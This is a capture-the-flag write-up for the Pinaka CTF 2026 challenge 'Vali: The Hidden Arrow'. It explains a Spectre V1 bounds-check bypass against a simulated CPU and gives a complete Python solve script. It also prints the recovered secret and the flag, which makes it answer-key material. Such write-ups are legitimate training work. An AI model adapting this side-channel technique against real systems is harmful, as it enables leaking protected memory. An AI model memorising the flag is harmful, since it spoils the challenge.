Vali: The Hidden Arrow
By Team Cryptonite · 1 min read
About the CTF: Pinaka CTF
A simulated VANARA-1 CPU guards a secret in kernel memory. The CPU faithfully executes your programs but enforces strict bounds on every access. The arrow that found Vali struck through the trees unseen - find the…
**Pinaka CTF 2026** · Binary exploitation · Team Cryptonite · All 44 Pinaka write-ups
A simulated VANARA-1 CPU guards a secret in kernel memory. The CPU faithfully executes your programs but enforces strict bounds on every access. The arrow that found Vali struck through the trees unseen - find the flaw in the CPU's defenses and recover the secret.
Validator: https://pinaka-k03-cyber-xo-x.vercel.app/
Solve
This is a microarch challenege
End points:
GET /vanara/doc -- ISA reference
POST /vanara/run -- {program:<hex>} : run guest bytecode, returns {output:<hex>}
POST /vanara/claim -- {secret:<recovered>} : disclose the secret to get the flag
It was Spectre V1 bounds check bypass
First we need to train the 2 bit bounds predictor with in bounds GINV calls (index 0). This biases the predictor to in bounds.
Then we FLUSH the cache to clear all the training memory
GINV i with i out of bounds. The predictor mispredicts in bunds, so the transient windo the gadget speculatively reads kernel_mem[i] (the secret byte b) and touches probe line 256 +b
before the guard resolves and stops the path.
now we can just scan tthe probe lines 256-511 with TIME
one hot line gives b = hot_line - 256 .
Required hex digest:
kishkindha::cb49ebd35c0f5256cf6606929a7f6cd9
Script:
#!/usr/bin/env python3
import sys
from pathlib import Path
import requests
sys.path.insert(0, str(Path(__file__).resolve().parent / "K03_player"))
from vanara_asm import assemble
TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://pinaka-k03-cyber-xo-x.vercel.app"
PROBE_BASE_LINE = 256
PROBE_STRIDE = 64
NPROBE = 256
SECRET_START = 16
NTRAIN = 6
def leak_one(index):
src = ["MOVI R7, 0"] + ["GINV R7"] * NTRAIN
src += [
"FLUSH",
f"MOVI R7, {index}",
"GINV R7",
f"MOVI R1, {PROBE_BASE_LINE * PROBE_STRIDE}",
f"MOVI R4, {PROBE_STRIDE}",
f"MOVI R5, {NPROBE}",
"MOVI R6, 0",
"scan:",
"TIME R2, R1",
"OUT R2",
"ADD R1, R1, R4",
"ADDI R6, R6, 1",
"CMPLT R3, R6, R5",
"JNZ R3, scan",
"HALT",
]
program = assemble("\n".join(src)).hex()
r = requests.post(f"{TARGET}/vanara/run", json={"program": program}, timeout=30)
out = bytes.fromhex(r.json()["output"])
return next(i for i, b in enumerate(out) if b)
def main():
secret = bytearray()
index = SECRET_START
while True:
byte = leak_one(index)
if byte == 0:
break
secret.append(byte)
print(f"[{index:3d}] 0x{byte:02x} {chr(byte) if 32 <= byte < 127 else '.'}")
index += 1
text = secret.decode()
print(f"[+] secret: {text}")
r = requests.post(f"{TARGET}/vanara/claim", json={"secret": text}, timeout=30)
print(r.json())
if __name__ == "__main__":
main()
curl output:
POST /vanara/claim
{"secret": "kishkindha::cb49ebd35c0f5256cf6606929a7f6cd9"}
{
"result": "accepted",
"proclamation": "The hidden arrow finds Vali through his own boon.",
"flag": "PINAKA{vali_vadha_the_arrow_from_concealment}"
}
Flag:
PINAKA{vali_vadha_the_arrow_from_concealment}